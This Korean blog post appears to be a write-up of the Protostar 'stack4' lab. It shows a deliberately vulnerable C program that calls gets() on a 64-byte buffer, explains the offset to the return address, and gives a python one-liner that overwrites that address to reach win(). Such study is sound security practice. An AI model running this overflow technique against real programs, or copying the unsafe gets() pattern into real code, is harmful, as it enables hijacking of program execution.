https://ii4gsp.tistory.com/50?pidx=0
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
0x080483f4가 win() 함수의 시작 주소이다.
리틀 엔디언 방식으로 ret를 덮어주면 된다.
페이로드는 buffer[64byte] + dummy[8byte] + sfp[4byte] + win()함수 시작 주소
(python -c 'print "\x90" * 76 + "\xf4\x83\x04\x08"';cat) | ./stack4
'경로 및 정보' 카테고리의 다른 글
User After Free 취약점 관련 (0) | 2025.01.28 |
---|---|
shell code sample (0) | 2025.01.28 |
어셈블리어 호출 규칙 (64bit 참고) (0) | 2025.01.27 |
리버싱에서의 레지스터란? (참고) (0) | 2025.01.27 |
PLT와 GOT 자세히 알기 1 (0) | 2025.01.26 |